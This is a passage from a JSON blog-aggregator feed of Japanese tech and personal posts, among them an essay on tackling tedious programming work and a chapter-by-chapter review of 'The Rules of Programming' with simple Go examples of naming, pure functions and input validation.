株式会社スリーシェイク.","isoDate":"2024-09-24T22:18:20.000Z","dateMiliSeconds":1727216300000,"authorName":"Sreake","authorId":"Sreake"},{"title":"クリアファイルで財布に入るキーケースを作った","link":"https://blog.atusy.net/2024/09/21/handmade-keycase/","contentSnippet":"昨日の記事で紹介したhmnyのコンパクト財布に入るキーケースを作りました。クリアファイルを加工しているので薄くて軽くて丈夫です。逆さにして振っても鍵が落ちてこない絶妙なホールド力も実現。ハンドメイドなので、自分の鍵にサイズを合わせられるメリットが活きています。自宅と自転車の鍵が入ります。間にはマスキングテープでスマートタグのTileを貼りつけています。これで最低限必要な鍵は財布と共に持ち歩けます。トラッキングも鍵と財布で分けずに一元化できます。空の状態はこんな感じ。クリアファイルから必要なサイズを切り取って、鍵の形に合わせて溶着しています。クリアファイルはポリプロピレン製で230度~280度の温度で溶着できるとのことだったので、温度調整機能つきのはんだごてを270度に設定して使いました。こて先が広めな面状のものを使うと、もう少し仕上がりがよかったかもしれません。","isoDate":"2024-09-21T00:00:00.000Z","dateMiliSeconds":1726876800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"退屈な作業をなぜ避けるべきでないのか?もしくはちゃんとやる","link":"https://syu-m-5151.hatenablog.com/entry/2024/09/20/171550","contentSnippet":"はじめにプログラミングは、本質的に創造性に満ちた営みであり、知的好奇心を刺激する活動です。これこそが、私がプログラミングに深い愛着を感じる主な理由であり、恐らく多くの方々も同じではないでしょうか?。プログラミングにおいて、各課題は独自性を持ち、その解決には常に新たな発想が求められます。禅とオートバイ修理技術 上 (ハヤカワ文庫NF)作者:ロバート M パーシグ早川書房Amazonしかしながら、全ての問題に同僚や上司を唸らす解決策が存在するわけではありません(もしくは自分の知らない美しい解決策があるのかもしれない)。どれほど刺激的なプロジェクトであっても、単調な作業が不可避な場面は必ず存在します。例えば、創造性を発揮しにくい定型業務や、誰もが敬遠しがちな煩雑な作業などが挙げられます。私たちは往々にして、こうした退屈な作業を後回しにし、より魅力的なタスクに取り組みたいという誘惑に駆られます。Tidy First?: A Personal Exercise in Empirical Software Design (English Edition)作者:Beck, KentO\'Reilly MediaAmazon地味で魅力に乏しい作業は放置すれば勝手に片付くわけではありません。そして、中途半端に処理された作業は、プロジェクト全体の品質を徐々に蝕む危険因子となり得ます。これらの作業も、プロジェクトの成功には欠かせない重要な要素です。主人公追放系みたいな結論になりたくないのであればチーム全体で、これらの作業の価値を理解し、適切に分担して取り組むことが、健全なプロジェクト運営につながります。雑用付与術師が自分の最強に気付くまで(コミック) : 1 (モンスターコミックス)作者:アラカワシン,戸倉儚双葉社Amazonプログラマーの三大美徳ここからは余談の時間です。本記事では、プログラミング界隈で長く語り継がれてきた「プログラマーの三大美徳」という概念を紹介します。一見すると矛盾しているように見えるこれらの美徳は、実は優秀なプログラマーが体現すべき本質的な姿勢を巧みに表現しています。怠惰(Laziness)短気(Impatience)傲慢(Hubris)これらの「美徳」は、表面的な意味とは異なり、長期的な効率と品質を追求するための姿勢を象徴しています。3つをそれぞれ紹介します。退屈なことはPythonにやらせよう 第2版 ―ノンプログラマーにもできる自動化処理プログラミング作者:Al Sweigartオライリー・ジャパンAmazonなお、このようなプログラミングに関する概念や原則について、より広く学びたい方には「プリンシプル オブ プログラミング3年目までに身につけたい一生役立つ101の原理原則」という書籍がおすすめです。プログラミングの基本から応用まで幅広く網羅されており、キャリアの長さに関わらず有益な知識を得ることができるでしょう。プリンシプル オブ プログラミング 3年目までに身につけたい 一生役立つ101の原理原則作者:上田勲秀和システムAmazon怠惰ここでいう怠惰は、単に仕事を避けることではありません。将来の労力を削減するために今努力する姿勢を指します。例えば、繰り返し作業を自動化するスクリプトを作成することで、長期的には大幅な時間短縮が可能になります。短気この文脈での短気は、非効率やバグに対する不寛容さを意味します。問題を見つけたらすぐに解決しようとする姿勢は、ソフトウェアの品質向上に直結します。傲慢ここでの傲慢さは、自分のコードに対する高い基準と誇りを持つことを指します。他者の目に耐えうる質の高いコードを書こうとする姿勢は、長期的にはメンテナンス性の向上をもたらします。退屈な作業を避けない理由これらの美徳を念頭に置くと、退屈な作業の重要性が見えてきます。では、なぜ退屈な作業を避けてはいけないのでしょうか。以下に理由を挙げます。短期的な不便を我慢することで、長期的な利益が得られるコードの品質と保守性が向上する同じ問題が繰り返し発生するのを防ぐことができる例えば、関数の引数を追加し、それを使用している全ての箇所を更新する作業は退屈で時間がかかりますが、これを怠ると将来的に大きな問題を引き起こす可能性があります。賢明な努力の仕方プログラミングにおいて退屈な作業は避けられませんが、それらに対処する効果的な方法があります。以下に、退屈な作業に直面したときに個人的な対応策を紹介します。自動化の可能性を探る繰り返し行う作業や定型的なタスクに遭遇したら、まずその自動化を検討しましょう。作業の頻度と複雑さを考慮しつつ、スクリプト作成やツール導入などの自動化手段を探ります。短期的には多少の労力が必要でも、長期的には大幅な時間節約と効率化につながる方法を模索することが重要です。近年では、生成AIの活用も自動化の強力な選択肢となっています。例えば:コード生成: 単調な構造のコードや、頻繁に書く定型的なコードパターンの生成に利用できます。ドキュメント作成: コメントの生成やREADMEファイルの下書き作成など、文書作成作業の効率化に役立ちます。テストケース生成: 基本的なユニットテストの雛形を自動生成し、テスト作成の負担を軽減できます。バグ修正支援: エラーメッセージを基に、潜在的な修正案を提案してもらうことができます。ただし、AIの出力は常に人間のレビューと検証が必要であり、また著作権や法的問題にも注意が必要です。自動化にも適切な投資と判断が必要であり、作業の重要度と頻度に応じて最適な方法を選択することが賢明です。完璧を求めすぎない完璧主義は時として進捗の妨げになります。問題の本質的な部分に注力し、まずは効率的に動く最小限の機能を実装することを目指しましょう。残りの細部は段階的に改善していく方針を取ることで、プロジェクトを効率的に進めながらも品質を確保することができます。長期的な視点を持つ目の前の作業に追われるだけでなく、その作業が将来のコード品質や保守性にどのような影響を与えるかを常に意識することが大切です。短期的には非効率に見えても、長期的には大きな価値を生み出す取り組みを優先することで、持続可能で高品質なソフトウェア開発が可能になります。技術的負債を減らし、将来の拡張性を考慮したコーディングを心がけましょう。退屈さを認識しつつ取り組む避けられない退屈な作業に直面した際は、その必要性や全体における位置づけを理解することが重要です。小さな目標を設定したり、作業の中から新しい学びを見出したりするなど、モチベーションを維持する工夫をしながら粛々と取り組みましょう。このような姿勢は、プロフェッショナルとしての成熟度を高めるとともに、最終的にはプロジェクト全体の品質向上に大きく貢献します。時間を区切って取り組む面倒で退屈な作業に向き合う際、ポモドーロテクニックのような時間管理手法を活用するのも効果的です。これは、25分の作業と5分の休憩を1セットとし、これを繰り返す方法です。時間を区切ることで、以下のような利点があります:集中力の維持:短い時間に区切ることで、集中力を持続させやすくなります。達成感の獲得:1ポモドーロ(25分)ごとに小さな達成感を味わえます。作業の可視化:何ポモドーロ分の作業だったかを数えることで、作業量を把握しやすくなります。ストレス軽減:定期的な休憩により、精神的な負担を軽減できます。退屈な作業も、「あと1ポモドーロだけ」と自分に言い聞かせることで、モチベーションを保ちやすくなります。また、この手法は作業の見積もりにも役立ち、「このタスクは約4ポモドーロで終わりそうだ」といった具合に、作業の規模を把握しやすくなります。時間を決めて取り組むことで、際限なく作業が続く不安も軽減され、より前向きに退屈な作業に取り組めるようになるでしょう。これらの方策を適切に組み合わせることで、退屈な作業も効率的かつ効果的に取り組むことができ、結果としてプロジェクト全体の質の向上につながります。プログラミングの技術は、こうした日々の小さな努力の積み重ねによって磨かれていきます。おわりにプログラマーとして成長するためには、創造的な作業だけでなく、時には退屈な作業を受け入れて取り組む必要があります。これは単なる根性論ではなく、コードの品質と効率を長期的に向上させるための賢明な戦略なのです。三大美徳を心に留めながら、退屈な作業も真摯に取り組むことで、より優れたプログラマーになることができるでしょう。時には「ただ釘を打つ」ような単純作業も、全体の品質向上には欠かせません。実際、この「釘を打つ」作業の質が、ソフトウェア全体の堅牢性と信頼性に大きく響くのです。一本一本の釘がしっかりと打たれていなければ、どんなに立派な設計図も意味をなさないのと同じです。プログラミングの本質は、単に動くコードを書くことではなく、保守性が高く、効率的で、長期的に価値のあるソフトウェアを作ることです。そのためには、時には退屈な作業も厭わない姿勢が必要です。小さな作業の積み重ねが、最終的には大きな違いを生み出すのです。完璧な設計や革新的なアルゴリズムも重要ですが、それらを支える地道な作業の質こそが、ソフトウェアの真の強さを決定づけます。退屈な作業を丁寧に、そして誠実に遂行することで、私たちは真に信頼性の高い、価値あるソフトウェアを作り上げることができるのです。禅とオートバイ修理技術 下 (ハヤカワ文庫NF)作者:ロバート M パーシグ早川書房Amazon","isoDate":"2024-09-20T08:15:50.000Z","dateMiliSeconds":1726820150000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"hmny casualのコンパクト財布を買った","link":"https://blog.atusy.net/2024/09/20/hmny-wallet/","contentSnippet":"10年以上、アブラサスの旅行財布を使っていましたが、この度、hmny casualのコンパクト財布に買い替えました。写真はやや青みがかかってますが、実際には黄緑に近い色です。皺の入りかたは個体差があり、1つと同じ商品がないところもステキ。","isoDate":"2024-09-20T00:00:00.000Z","dateMiliSeconds":1726790400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Google Cloud で生成 AI アプリを評価するアーキテクチャパターン","link":"https://zenn.dev/kimitsu/articles/google-cloud-gen-ai-eval-arch","contentSnippet":"用語について オンライン評価とオフライン評価評価はそのタイミング、やり方によってオンライン評価とオフライン評価に分けられます。オンライン評価とは、システムやモデルが実際の運用中にリアルタイムで評価される手法です。オフライン評価は、事前に用意されたデータセットを使用し、システムやモデルの性能をテスト環境で評価する方法です。生成 AI アプリケーションの場合には、オンライン評価は実際のユーザが生成 AI を利用した際の入出力に対して評価を行います。特徴としては、模範解答を用意することができないため生成 AI による評価(LLM as a Judge)をします。オフライン評...","isoDate":"2024-09-15T13:36:11.000Z","dateMiliSeconds":1726407371000,"authorName":"Yunosuke Yamada","authorId":"yyamada"},{"title":"ルールは現場で死にました - The Rules of Programming の読書感想文","link":"https://syu-m-5151.hatenablog.com/entry/2024/09/15/151738","contentSnippet":"本日は人生の数ある選択肢のなかから、こちらのブログを読むという行動を選んでくださいまして、まことにありがとうございます。はじめにプログラミングの世界には多くの指針や原則が存在します。Chris Zimmerman氏の「The Rules of Programming」(邦題:ルールズ・オブ・プログラミング ―より良いコードを書くための21のルール)は、不変の知恵を凝縮した一冊です。これらの原則は、多くの開発現場で活用できる有益な内容となっていると思いました。The Rules of Programming: How to Write Better Code (English Edition)作者:Zimmerman, ChrisO\'Reilly MediaAmazon本書は、大ヒットゲーム『Ghost of Tsushima』などで知られるゲーム制作スタジオ、Sucker Punch Productionsの共同創設者であるChris Zimmerman氏によって書かれました。コードの品質、パフォーマンス、保守性に関する多くの原則は、ゲーム開発以外の様々な分野で共通しています。豊富な経験の中で培われた知見が、仕様通り、想定通りにコードを書けるようになったものの、さらに良いコードがあるはずだという漠然とした感覚を抱いているあなたのスキルを次のレベルへと導いてくれるでしょう。本日は #英語デー\uD83C\uDF0Fあの名台詞、英語で言ってみよう!\\"誉れは浜で死にました。ハーンの首をとるために。\\"\\"Honor died on the beach. Khan deserves to suffer.\\"- 境井仁 (『Ghost of Tsushima』より)#ゴーストオブツシマ #GhostofTsushima #英語の日 #ゲームで学ぶ英会話 pic.twitter.com/RBYRuRVmvx— プレイステーション公式 (@PlayStation_jp) 2021年4月23日 ブログのタイトルは「誉れは浜で死にました。」- 境井仁 (『Ghost of Tsushima』より)からいただきました。このタイトルは、本書の内容と呼応するように、時に固定観念や既存のルールを疑い、現場の状況に応じて柔軟に対応することの重要性を示唆しています。21のルールの意義と特徴著者の豊富な経験から抽出された21のルールは、新人から経験豊富な開発者まで、すべてのプログラマーが知っておくべき本質的な知恵を提供しています。これらのルールは単なる技術的なティップスではなく、プログラミングの哲学とも言えるものです。例えば、「コードは書くものではなく、読むものである」というルールは、保守性と可読性の重要性を強調しています。ルールは現場で死にました本書の特筆すべき点は、実際の開発現場からの生きた例が豊富に盛り込まれており、著者が読者に対しこれらのアプローチを鵜呑みにせず自身の現場や経験と照らし合わせながら批判的に考えることを推奨していることです。この姿勢は、プログラミングが常に進化し、コンテキストによって最適な解決策が変わり得ることを認識させてくれます。本書を通じて、私たちはプログラミングの技術だけでなく、良いコードとは何か、どのようにしてそれを書くべきかについて、深く考えさせられます。これは単なるスキルアップではなく、プログラマーとしての思考方法や哲学の形成にも大きく寄与するでしょう。当初の目論見と能力不足による断念当初、様々なコーディングルールをまとめて紹介しようと考えていましたが、作業量が膨大となり断念しました。この経験から、良質な情報をキュレーションすることの難しさと重要性を学びました。今後、機会を見つけて他のコーディングルールについても順次紹介していきたいと考えています。この過程で、異なる開発文化や言語間での共通点や相違点についても探究していきたいと思います。日本語版日本語版の出版により、多くの日本人エンジニアがより深い理解を得られ、本書の真髄を効果的に吸収できたと実感しています。翻訳書の重要性は、単に言語の壁を取り除くだけでなく、文化的なコンテキストを考慮した解釈を提供する点にもあります。この日本語版は、日本のソフトウェア開発文化にも大きな影響を与える可能性を秘めています。ルールズ・オブ・プログラミング ―より良いコードを書くための21のルール作者:Chris Zimmermanオーム社Amazon執筆プロセスと建設的な対話のお願い最後に、このブログの執筆プロセスにおいて、大規模言語モデル(LLM)を活用していることをお伝えします。そのため、一部の表現にLLM特有の文体が反映されている可能性があります。ただし、内容の核心と主張は人間である私の思考と判断に基づいています。LLMは主に文章の構成や表現の洗練化に寄与していますが、本質的な洞察や分析は人間の所産です。この点をご理解いただければ幸いです。あと、基本的には繊細なのでもっと議論ができる意見やポジティブな意見を下さい。本書の内容や私の感想文について、さらに詳しい議論や意見交換をしたい方がいらっしゃいましたら、Xのダイレクトメッセージでご連絡ください。パブリックな場所での一方的な批判は暴力に近く。建設的な対話を通じて、記事を加筆修正したいです。互いの理解をさらに深められることを楽しみにしています。syu-m-5151.hatenablog.com本編「The Rules of Programming」は、ソフトウェア開発の様々な側面を網羅する包括的なガイドです。著者の長年の経験から得られた洞察は多くの開発者にとって貴重な指針となりますが、最も印象に残ったのは、これらのルールを批判的に検討し、自身の環境や経験に照らし合わせて適用することの重要性を著者が強調している点です。この本は単なるテクニカルガイドを超え、プログラミングの本質と向き合うための思考法を提供しています。21のルールそれぞれが、コードの品質向上だけでなく、プログラマーとしての成長にも寄与する深い洞察を含んでいます。例えば、「最適化の前に測定せよ」というルールは、効率化の重要性と同時に、根拠に基づいた意思決定の必要性を説いています。また、本書は理論だけでなく実践的なアドバイスも豊富です。各ルールに付随する具体例やケーススタディは、抽象的な概念を現実の開発シナリオに結びつける助けとなります。これにより、読者は自身の日々のプログラミング実践に直接適用できるインサイトを得ることができます。結論として、この本は単にプログラミングスキルを向上させるだけでなく、ソフトウェア開発に対する包括的な理解と哲学を育むための貴重なリソースとなっています。プログラマーとしてのキャリアのどの段階にあっても、本書から学ぶべき重要な教訓があるでしょう。しかし、本書の本当の価値は私の読書感想文程度では伝えきれません。なので、「ほへー」以上の思考を抱かず、書籍を読んで下さい。ぜひ、あなた自身でこの本を手に取り、21のルールそれぞれについて熟考し、自分の経験と照らし合わせながら、プログラミングの本質に迫ってください。その過程で得られる洞察こそが、あなたのソフトウェア開発スキルを次のレベルへと導くでしょう。Rule 1. As Simple as Possible, but No Simpler第1章「As Simple as Possible, but No Simpler」は、プログラミングの根幹を成す重要な原則を探求しています。この章では、シンプルさの重要性、複雑さとの戦い、そして適切なバランスを見出すことの難しさについて深く掘り下げています。著者は、ある言葉を引用しながら、プログラミングにおける「シンプルさ」の本質を明確に示しています。この主題に関しては、「A Philosophy of Software Design」も優れた洞察を提供しています。以下のプレゼンテーションは、その概要を30分で理解できるよう要約したものです。 speakerdeck.com両書を併せて読むことで、ソフトウェア設計におけるシンプルさの重要性をより深く理解することができるでしょう。シンプルさの定義と重要性著者は、シンプルさを「問題のすべての要件を満たす最もシンプルな実装方法」と定義しています。この定義は、一見単純に見えますが、実際のソフトウェア開発において深い意味を持ちます。シンプルさは、コードの可読性、保守性、そして最終的にはプロジェクトの長期的な成功に直結する要素だと著者は主張しています。実際の開発現場では、この原則を適用するのは容易ではありません。例えば、新機能の追加や既存機能の拡張を行う際に、コードの複雑さが増すことは避けられません。しかし、著者が強調するのは、その複雑さを最小限に抑えることの重要性です。これは、単に「短いコードを書く」ということではなく、問題の本質を理解し、それに最適なアプローチを選択することを意味します。複雑さとの戦い著者は、プログラミングを「複雑さとの継続的な戦い」と表現しています。この見方は、多くの経験豊富な開発者の実感と一致するでしょう。新機能の追加や既存機能の修正が、システム全体の複雑さを増大させ、結果として開発速度の低下や品質の低下につながるという現象は、多くのプロジェクトで見られます。著者は、この複雑さの増大を「イベントホライズン」に例えています。これは、一歩進むごとに新たな問題が生まれ、実質的な進歩が不可能になる状態を指します。この状態を避けるためには、常にシンプルさを意識し、複雑さの増大を最小限に抑える努力が必要です。ja.wikipedia.orgシンプルさの測定シンプルさを測る方法について、著者はいくつかの観点を提示しています。コードの理解のしやすさコードの作成の容易さコードの量導入される新しい概念の数説明に要する時間これらの観点は、実際の開発現場でも有用な指標となります。例えば、コードレビューの際に、これらの観点を基準として用いることで、より客観的な評価が可能になります。シンプルさと正確さのバランス著者は、シンプルさを追求する一方で、問題の要件を満たすことの重要性も強調しています。この点は特に重要で、単純に「シンプルなコード」を書くことが目的ではなく、問題を正確に解決しつつ、可能な限りシンプルな実装を目指すべきだということを意味します。例として、著者は階段の昇り方のパターン数を計算する問題を取り上げています。この問題に対して、再帰的な解法、メモ化を用いた解法、動的計画法を用いた解法など、複数のアプローチを示しています。各アプローチの利点と欠点を比較することで、シンプルさと性能のトレードオフを具体的に示しています。コードの重複とシンプルさ著者は、コードの重複を避けることが必ずしもシンプルさにつながるわけではないという興味深い観点を提示しています。小規模な重複は、時としてコードの可読性を高め、理解を容易にする場合があるという主張は、多くの開発者にとって新鮮な視点かもしれません。この主張は、DRY(Don\'t Repeat Yourself)原則と一見矛盾するように見えますが、著者の意図は、原則を盲目的に適用するのではなく、状況に応じて適切な判断を下すべきだということです。小規模な重複を許容することで、コードの全体的な構造がシンプルになり、理解しやすくなる場合があるという指摘は、実務的な視点から重要です。まとめ著者は、プログラミングにおけるシンプルさの追求が、単なる美学的な問題ではなく、プロジェクトの成功に直結する重要な要素であることを強調しています。複雑さとの戦いは永続的なものであり、シンプルさを維持する努力は決して終わることがありません。しかし、この努力は決して無駄ではありません。著者自身の25年にわたるプロジェクト経験が示すように、複雑さを制御し続けることで、長期的な進化と成功が可能になります。この章は、プログラミングの本質的な課題に光を当て、実践的なアプローチを提示しています。シンプルさの追求は、単にコードを書く技術だけでなく、問題の本質を理解し、最適な解決策を見出す能力を要求します。これは、ソフトウェア開発の技術と言えるでしょう。最後に、この章の教訓は、特定の言語や環境に限定されるものではありません。シンプルさの追求は、あらゆるプログラミング言語、開発環境、そしてプロジェクトの規模に適用可能な普遍的な原則です。この原則を心に留め、日々の開発作業に活かしていくことが、真に優れたソフトウェアエンジニアへの道となるのです。Rule 2. Bugs Are Contagious第2章「Bugs Are Contagious」は、ソフトウェア開発における重要な課題の一つであるバグの性質と、その対処法について深く掘り下げています。著者は、バグが単なる孤立した問題ではなく、システム全体に影響を及ぼす「伝染性」を持つという洞察を提示しています。この章を通じて、バグの早期発見と対処の重要性、そしてそれを実現するための具体的な方法論が示されています。完全な余談なのですがこの章の内容は、一見「割れ窓理論」を想起させますが、最近の研究ではこの理論の妥当性に疑問が投げかけられています。例えば、「Science Fictions あなたが知らない科学の真実」では、有名な科学実験の再検証だけでなく、科学研究の制度的な問題点や改善策についても論じられています。Science Fictions あなたが知らない科学の真実作者:スチュアート・リッチーダイヤモンド社Amazonこの書籍は、科学研究の信頼性向上のための追試制度の提案や査読プロセスの改善など、建設的な内容を含んでおり、科学的知見の批判的検討の重要性を示唆しています。「割れ窓理論」は本書では直接言及されていませんが、同様に再検証が必要とされる理論の一つとして考えられています。例えで出したら後輩に指摘されてしまうかもしれません。バグの伝染性著者は、バグが存在すると、他の開発者が意図せずにそのバグに依存したコードを書いてしまう可能性があると指摘しています。これは、バグが単に局所的な問題ではなく、システム全体に影響を及ぼす「伝染性」を持つことを意味します。例えば、あるモジュールのバグが、そのモジュールを利用する他の部分にも影響を与え、結果として複数の箇所で問題が発生するという状況です。この洞察は、日々の開発現場でも当てはまるものです。例えば、APIの仕様にバグがあると、それを利用する多くのクライアントコードが影響を受けることがあります。そのため、バグの早期発見と修正が極めて重要になります。早期発見の重要性著者は、バグを早期に発見することの重要性を強調しています。バグが長期間放置されるほど、それに依存したコードが増え、修正が困難になるというわけです。これは、多くの開発者が経験的に知っていることかもしれませんが、著者はこれを「entanglement(絡み合い)」という概念で説明しています。実際の開発現場では、この「entanglement」の問題は頻繁に発生します。例えば、あるライブラリのバグを修正したら、それを使用していた多くのアプリケーションが動かなくなるという事態は珍しくありません。これは、アプリケーションがバグの振る舞いに依存していたためです。自動テストの重要性著者は、バグの早期発見のための主要な手段として、自動テストの重要性を強調しています。継続的な自動テストを行うことで、バグを早期に発見し、「entanglement」の問題を最小限に抑えることができるというわけです。しかし、著者も認めているように、自動テストの導入には課題もあります。例えば、ゲーム開発のような主観的な要素が大きい分野では、すべての要素を自動テストでカバーすることは困難です。また、テストの作成自体にも多くの時間とリソースが必要になります。ステートレスコードの利点著者は、テストを容易にするための一つの方法として、ステートレスなコードの作成を推奨しています。ステートを持たない純粋な関数は、入力に対して常に同じ出力を返すため、テストが容易になります。これは、実際の開発現場でも有効な方法です。例えば、以下のようなGolangのコードを考えてみます。func sumVector(values []int) int { sum := 0 for _, value := range values { sum += value } return sum}このような純粋関数は、入力と出力の関係が明確で、副作用がないため、テストが容易です。一方、状態を持つコードは、その状態によって振る舞いが変わるため、テストが複雑になりがちです。内部監査の重要性著者は、完全にステートレスにできない場合の対策として、内部監査(internal auditing)の重要性を指摘しています。これは、コード内部で自己チェックを行うメカニズムを実装することで、状態の一貫性を保つ方法です。例えば、Golangでは以下のように実装できます。type Character struct { // フィールド省略}func (c *Character) audit() { // 内部状態の一貫性をチェック if /* 一貫性が破れている */ { panic(\\"Character state is inconsistent\\") }}このような内部監査を適切に配置することで、状態の不整合を早期に発見し、デバッグを容易にすることができます。呼び出し側を信頼しない著者は、「呼び出し側を信頼しない」という重要な原則を提示しています。これは、APIを設計する際に、不正な引数や不適切な使用方法を想定し、それらを適切に処理することの重要性を示しています。例えば、Golangでは以下のように実装できます。type ObjectID struct { index int generation int}func (s *Simulator) isObjectIDValid(id ObjectID) bool { return id.index >= 0 && id.index < len(s.indexGenerations) && s.indexGenerations[id.index] == id.generation}func (s *Simulator) getObjectState(id ObjectID) (ObjectState, error) { if !s.isObjectIDValid(id) { return ObjectState{}, errors.New(\\"invalid object ID\\") } // 以下、正常な処理}このようなチェックを実装することで、APIの誤用を早期に検出し、デバッグを容易にすることができます。まとめ著者は、バグの「伝染性」という概念を通じて、早期発見と対処の重要性を強調しています。自動テスト、ステートレスなコード設計、内部監査、そして堅牢なAPIデザインなど、様々な手法を組み合わせることで、バグの影響を最小限に抑えることができると主張しています。これらの原則は、実際の開発現場でも有効です。特に、マイクロサービスアーキテクチャやサーバーレスコンピューティングが主流となっている現代のソフトウェア開発では、ステートレスなコード設計の重要性が増しています。また、CI/CDパイプラインの普及により、継続的な自動テストの実施が容易になっています。しかし、著者も認めているように、これらの原則をすべての状況で完全に適用することは難しい場合もあります。例えば、レガシーシステムの保守や、リアルタイム性が要求される組み込みシステムの開発など、制約の多い環境では、これらの原則の適用に工夫が必要になるでしょう。結論として、この章で提示されている原則は、バグの早期発見と対処を通じて、ソフトウェアの品質と保守性を高めるための重要な指針となります。これらの原則を理解し、プロジェクトの特性に応じて適切に適用することが、開発者には求められるのです。Rule 3. A Good Name Is the Best Documentation第3章「A Good Name Is the Best Documentation」は、プログラミングにおける命名の重要性を深く掘り下げています。著者は、適切な命名がコードの理解しやすさと保守性に大きな影響を与えることを強調し、良い命名がいかに効果的なドキュメンテーションになり得るかを説明しています。この章では、命名の原則から具体的なプラクティス、そして命名規則の一貫性の重要性まで、幅広いトピックがカバーされています。著者の経験に基づく洞察は、日々のコーディング作業から大規模プロジェクトの設計まで、様々な場面で適用できる実践的なアドバイスとなっています。言葉の形と意味の関連性については例えば、「ゴロゴロ」という言葉が雷の音を模倣しているように、言葉の音や形が、その意味を直接的に表現している場合があります。この概念は、プログラミングの命名にも応用できる可能性があります。機能や役割を直感的に表現する変数名やメソッド名を選ぶことで、コードの理解しやすさを向上させることができるかもしれません。ただし、プログラムの複雑化に伴い、単純な音や形の類似性だけでは不十分になる場合もあるため、コンテキストや他の命名規則との整合性も考慮する必要があります。言語の本質 ことばはどう生まれ、進化したか (中公新書)作者:今井むつみ,秋田喜美中央公論新社Amazon命名の重要性著者は、シェイクスピアの「ロミオとジュリエット」を引用しながら、名前の持つ力について語り始めます。「バラはどんな名前で呼んでも、同じように甘い香りがする」というジュリエットの台詞を、プログラミングの文脈で解釈し直しています。著者の主張は明確です。コードにおいて、名前は単なるラベル以上の意味を持つのです。適切な名前は、そのコードの目的や機能を即座に伝える強力なツールとなります。これは、コードを書く時間よりも読む時間の方が圧倒的に長いという現実を考えると、重要な指摘です。実際の開発現場でも、この原則の重要性は日々実感されます。例えば、数ヶ月前に書いたコードを見直す時、適切な名前付けがされていれば、コードの意図を素早く理解できます。逆に、意味の曖昧な変数名やメソッド名に遭遇すると、コードの解読に余計な時間を取られてしまいます。最小限のキーストロークを避ける著者は、変数名や関数名を短くすることで、タイピング時間を節約しようとする傾向について警告しています。これは特に、経験の浅い開発者や古い時代のプログラミング習慣を持つ開発者に見られる傾向です。例として、複素数の多項式を評価する関数のコードが示されています。最初の例では、変数名が極端に短く、コードの意図を理解するのが困難です。一方、適切な名前を使用した第二の例では、コードの意図が明確になり、理解しやすくなっています。// 悪い例func cp(n int, rr, ii []float64, xr, xi float64) (yr, yi float64) { // ... (省略)}// 良い例func evaluateComplexPolynomial(degree int, realCoeffs, imagCoeffs []float64, realX, imagX float64) (realY, imagY float64) { // ... (省略)}この例は、適切な命名がいかにコードの可読性を向上させるかを明確に示しています。長い名前を使用することで、コードを書く時間は若干増えるかもしれませんが、それ以上に読む時間と理解する時間が大幅に短縮されます。命名規則の一貫性著者は、プロジェクト内で一貫した命名規則を使用することの重要性を強調しています。異なる命名規則が混在すると、コードの理解が困難になり、認知負荷が増大します。例えば、自作のコンテナクラスと標準ライブラリのコンテナクラスを混在して使用する場合、命名規則の違いによって混乱が生じる可能性があります。著者は、可能な限り一貫した命名規則を採用し、外部ライブラリの使用を最小限に抑えることを提案しています。実際の開発現場では、チーム全体で一貫した命名規則を採用することが重要です。例えば、Golangでは以下のような命名規則が一般的です。// 良い例type User struct { ID int FirstName string LastName string}func (u *User) FullName() string { return u.FirstName + \\" \\" + u.LastName}// 悪い例(一貫性がない)type customer struct { id int first_name string LastName string}func (c *customer) get_full_name() string { return c.first_name + \\" \\" + c.LastName}この例では、良い例では一貫してキャメルケースを使用し、構造体名は大文字で始まっています。一方、悪い例では命名規則が混在しており、理解が困難になっています。機械的な命名規則の利点著者は、可能な限り機械的な命名規則を採用することを推奨しています。これにより、チームメンバー全員が自然に同じ名前を選択するようになり、コードベース全体の一貫性が向上します。著者の所属するSucker Punchでは、Microsoftのハンガリアン記法の変種を使用しているそうです。例えば、iFactionは配列内のインデックスを、vpCharacterはキャラクターへのポインタのベクトルを表します。これは興味深いアプローチですが、現代のプログラミング言語やIDE環境では必ずしも必要ないかもしれません。例えば、Golangでは型推論が強力で、IDEのサポートも充実しています。そのため、以下のような命名規則でも十分に明確であり、かつ読みやすいコードを書くことができます。func ProcessUsers(users []User, activeOnly bool) []User { var result []User for _, user := range users { if !activeOnly || user.IsActive { result = append(result, user) } } return result}この例では、変数の型や用途が名前自体から明確に分かります。usersは複数のユーザーを表す配列、activeOnlyはブール値のフラグ、resultは処理結果を格納する配列です。まとめ著者は、良い命名が最良のドキュメンテーションであるという主張を、様々な角度から論じています。適切な命名は、コードの意図を即座に伝え、保守性を高め、チーム全体の生産性を向上させます。一方で、命名規則に関しては、プロジェクトやチームの状況に応じて柔軟に対応することも重要です。例えば、レガシーコードベースを扱う場合や、異なる背景を持つ開発者が協働する場合など、状況に応じた判断が求められます。私の経験上、最も重要なのはチーム内での合意形成です。どのような命名規則を採用するにせよ、チーム全体がその規則を理解し、一貫して適用することが、コードの可読性と保守性を高める鍵となります。また、命名規則は時代とともに進化することも忘れてはいけません。例えば、かつては変数名の長さに制限があったため短い名前が好まれましたが、現代の開発環境ではそのような制限はほとんどありません。そのため、より説明的で長い名前を使用することが可能になっています。結論として、良い命名はコードの品質を大きく左右する重要な要素です。it\'s not just about writing code, it\'s about writing code that tells a story. その物語を明確に伝えるために、私たちは日々、より良い命名を追求し続ける必要があるのです。Rule 4. Generalization Takes Three Examples第4章「Generalization Takes Three Examples」は、ソフトウェア開発における一般化(generalization)の適切なタイミングと方法について深く掘り下げています。著者は、コードの一般化が重要でありながらも、早すぎる一般化が引き起こす問題について警鐘を鳴らしています。この章を通じて、プログラマーが日々直面する「特定の問題を解決するコードを書くべきか、それとも汎用的な解決策を目指すべきか」というジレンマに対する洞察を提供しています。この章の内容は、認知心理学の知見とも関連しており、即座に解決策を求める直感的な思考は特定の問題に対する迅速な解決をもたらす一方で過度の一般化につながる危険性がある一方、より慎重で分析的な思考は複数の事例を比較検討し適切なレベルの一般化を導く可能性が高くなるため、著者が提案する「3つの例則」は、より適切な一般化を実現するための実践的なアプローチとして、ソフトウェア開発における意思決定プロセスを理解し改善するための新たな洞察を提供してくれるでしょう。ファスト&スロー (上)作者:ダニエル カーネマン,村井 